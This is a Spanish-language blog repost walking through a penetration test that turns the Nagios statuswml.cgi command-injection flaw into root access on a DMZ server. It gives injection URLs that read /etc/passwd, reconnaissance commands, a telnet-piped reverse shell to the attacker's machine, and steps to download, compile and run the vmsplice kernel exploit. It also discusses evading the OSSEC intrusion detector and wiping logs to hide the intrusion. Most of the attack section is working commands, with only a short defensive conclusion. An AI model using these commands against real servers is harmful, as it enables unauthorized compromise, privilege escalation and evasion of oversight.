ROOT en un servidor Nagio por un 0-DAY

De la mano de hacking-avanzado.blogspot.com un Pen-Testing de como hacer root en un servidor que tiene Nagios corriendo:

PEN-TESTING: ROOT EN LA DMZ GRACIAS A UN 0-DAY!!

1. INTRODUCCIÓN.

Una de las tareas diarias del equipo de seguridad es revisar los últimos exploits que salen y ver si afectan o no a las empresas para las que trabaja. Hoy, al mirar la lista de vulnerabilidades que recibo cada día de SECUNIA, ha llamado mi atención una de ellas, la siguiente:

TITLE:
Nagios "statuswml.cgi" Command Injection Vulnerability

SECUNIA ADVISORY ID:
SA35543

VERIFY ADVISORY:
http://secunia.com/advisories/35543/

DESCRIPTION:
A vulnerability has been reported in Nagios, which can be exploited
by malicious users to potentially compromise a vulnerable system.

Input passed to the "ping" parameter in statuswml.cgi is not properly
sanitised before being used to invoke the ping command. This can be
exploited to inject and execute arbitrary shell commands.

Successful exploitation requires access to the ping feature of the
WAP interface.

The vulnerability is reported in versions prior to 3.1.1.

En este artículo, vamos a reproducir el exploit y vamos a usarlo para hacernos root en el servidor que tiene nagios corriendo, lo que nos dará acceso a todos los servicios de todos los servidores importantes de la empresa. Desde el servidor de nagios, toda la red estará a nuestros pies. La vulnerabilidad no es tan grave como parece, ya que es necesario estar autenticado para ejecutarla, pero es eso es en caso de que los admin realmente hayan requerido autenticación vía htaccess o algún mecanismo similar, que no es siempre el caso ... 

Como dicen en las pelis: basado en hechos reales.

2. REPRODUCIENDO EL EXPLOIT.

Tras unas cuantas pruebas y búsquedas en google, se llega a la conclusión de que la ejecución de comandos tiene un formato como esto:

http://empresa.es/nagios/cgi-bin/statuswml.cgi?ping=192.168.1.0;cat /etc/passwd

Es decir, al ejecutar la query obtenemos esto:




Y el archivo que descargamos contiene, aparte de los resultados del ping, el fichero /etc/passwd.

La dificultad al reproducir el exploit es simplemente encontrar el separador del comando ";", pero no es tan difícil de imaginar si leemos entre líneas la descripción.

3. HACKEANDO EL SERVIDOR.

Teniendo en cuenta que el apache no corre como root, vamos a hacer lo siguiente:

- ver qué version del kernel tiene.
- conseguir una shell
- buscar un exploit para ese kernel
- bajar el exploit y compilarlo
- ejecutar el exploit
- celebrarlo!!

Adicionalmente, deberíamos borrar los logs del apache para que no quede rastro de nuestra intrusión, pero en este caso no importa. También deberíamos borrar todo rastro de los logs del sistema que pueda dar pistas de nuestra conexión.Veamos todo paso a paso:

4. PASOS PREVIOS.


(a) versión del kernel

Antes de nada, tal y como hemos explicado, vamos a averiguar la versión del kernel. Para ello "ejecutamos" esta URL:

statuswml.cgi?ping=192.168.1.1; cat /proc/version

Como podemos ver, se trata de un redhat. Vamos a ver qué version leyendo el archivo redhat-release. Esta es la url a ejecutar:

ping=192.168.1.1; cat /etc/redhat-release

Ahora sabemos que es un RHEL5 con un kernel 2.6.18-8, para el cual encontramos el siguiente exploit, vmsplice. Como podemos leer en milworm, el exploit cubre todos los kernels desde el 2.6.17 hasta el 2.6.24.1, en particular el nuestro.

b) ¿está instalado gcc?

Debemos averiguar si podemos usar el compilador o no. Si no es así, tendremos que instalar nosotros una máquina virtual con el mismo sistema operativo y compilar allí el exploit. Para comprobar si está instalado gcc, ejecutamos simplemente ping=192.168.1.1; gcc --version. Y esto es lo que obtenemos:

gcc (GCC) 4.1.2 20070626 (Red Hat 4.1.2-14)
Copyright (C) 2006 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Perfecto, así nos ahorramos trabajo. De no ser así, como hemos dicho, nos habría tocado compilar en otra máquina, subir el exploit pre-compilado o bien instalar gcc, pero esto último canta un poco.

(c) ¿están instalados netcat, lynx y wget?

Ahora vamos a usar otro procedimiento para ver los paquetes instalados. Vamos a ejecutar ping=192.168.1.1; rpm -qa, que da la lista de todos los paquetes instalados en el servidor. Luego, con un simple grep podemos ver que, efectívamente, están instalados tanto wget y lynx como netcat, aunque este último realmente no nos hace falta. De los tres sólo vamos a usar lynx para bajarnos el exploit, y ni siquiera éste sería necesario.

(d) ¿qué procesos corren?

La siguiente query es muy elemental: necesitamos saber qué procesos corren, para tomar las debidas precauciones. Esto se hace lanzando un simple ps axuf y examinando la salida. Entre ellos, observamos los siguiente:

root      2070  0.0  0.0   1732   412 ?        S    Feb04   0:00 /opt/ossec/bin/ossec-execd
[...]

Aparte de, obviamente, tener el nagios corriendo y el apache también. Malas noticias. El OSSEC es un detector de intrusos que puede darnos muchos problemas. Esto significa que no podemos tocar ningún archivo del sistema, ni arrancar nuevos servicios, ni instalar rootkits, ... Pero nada de eso nos hace falta. Afortunadamente, o trístemente, según criterios, nuestro exploit no va a dar ningún tipo de señal de alarma.

Nota: el carácter ">" no funciona (está filtrado), ni siquiera codificado en hexadecimal. Así que tenemos que buscar métodos más complicados para bajar el exploit.

5. CONSEGUIR UNA SHELL

Existen dos tipos principales de shell, la directa y la inversa. La directa consiste en dejar un proceso escuchando en el servidor víctima y conectarnos a él, y la inversa en hacer que el servidor se conecte a nosotros. En nuestro caso, este servidor está en la DMZ, lo cual quiere decir que no vamos a poder conectarnos a un puerto que no sea el 80, ya que todo va a estar cortado por firewall. Por lo tanto, usaremos una shell inversa.

Normalmente, es fácil encontrar que un servidor puede salir a los puertos 80 y 25, así que usaremos eso para establecer nuestra shell. Para ello, ejecutaremos lo siguiente:

(a) en nuestra máquina, dejamos dos netcat escuchando, uno en el puerto 25 y otro en el 80

nc -vv -L -p 25
nc -vv -L -p 80

La opción -L es para que no se desconecte y no perder la sesión. En linux esta opción no está incorporada, por lo que usaremos este netcat modificado.

(b) en el servidor, usaremos telnet (no necesitamos netcat) para conectarnos a nuestra máquina, como sigue (192.168.1.10 es mi IP):

statuswml.cgi?ping=192.168.1.0; telnet 192.168.1.10 80 | /bin/bash | telnet 192.168.1.10 25

Esto lo que hace es leer la entrada desde mi puerto 80, ejecutarla y enviar la salida a mi puerto 25. Es una shell un poco cutre, pero funciona, es shell inversa y no requiere de netcat. ¡¡¡Más que suficiente para que el firewall ni se entere!!!

Importante: para cada comando, hay que darle a ejecutar a la URL.

6. HACERSE ROOT.

Esta es la lista de comandos que ejecutamos:

lynx --dump http://www.milw0rm.com/exploits/5092 > /tmp/exploit.c
ls -al /tmp/exploit.c
cd /tmp/
gcc exploit.c -o exploit
ls -al /tmp/expl*
./exploit
whoami

Alternativamente, podemos ejecutar gran parte de ellos desde la URL si nos resulta más cómodo. Por ejemplo, podemos pasar este comando:

ping=173.45.235.65; gcc /tmp/exploit.c -o /tmp/exploit

Y éste es el aspecto que tiene pantallazo de la salida:



Tras ejecutar los comandos, tenemos una shell de root.

7. CONCLUSIÓN.

En este artículo, hemos repasado como conseguir una shell ejecutando comandos a través de la url y como bajar y compilar el exploit, consiguiendo una shell de root y saltándonos el IDS local (ossec).

Como hemos visto, aunque es un proceso más que laborioso y realmente puede ser un lío ejecutando cosas en la url, es posible coger un 0-day y hacerse root en un plazo de tiempo de unas pocas horas. Afortunadamente, nagios no está nunca disponible desde internet y, además, este exploit require autenticación, por lo que no es tan-tan peligroso, pero hay que tener cuidado.

Un 0-day puede ser suficiente para que caiga toda nuestra red. Por eso, es importante tener una buena política de seguridad, la única forma de que no nos revienten la red al mínimo descuido.

Fuente: http://hacking-avanzado.blogspot.com/

Author & Editor

Ingeniero, me gusta la cyberseguridad, la programación y el blockchain.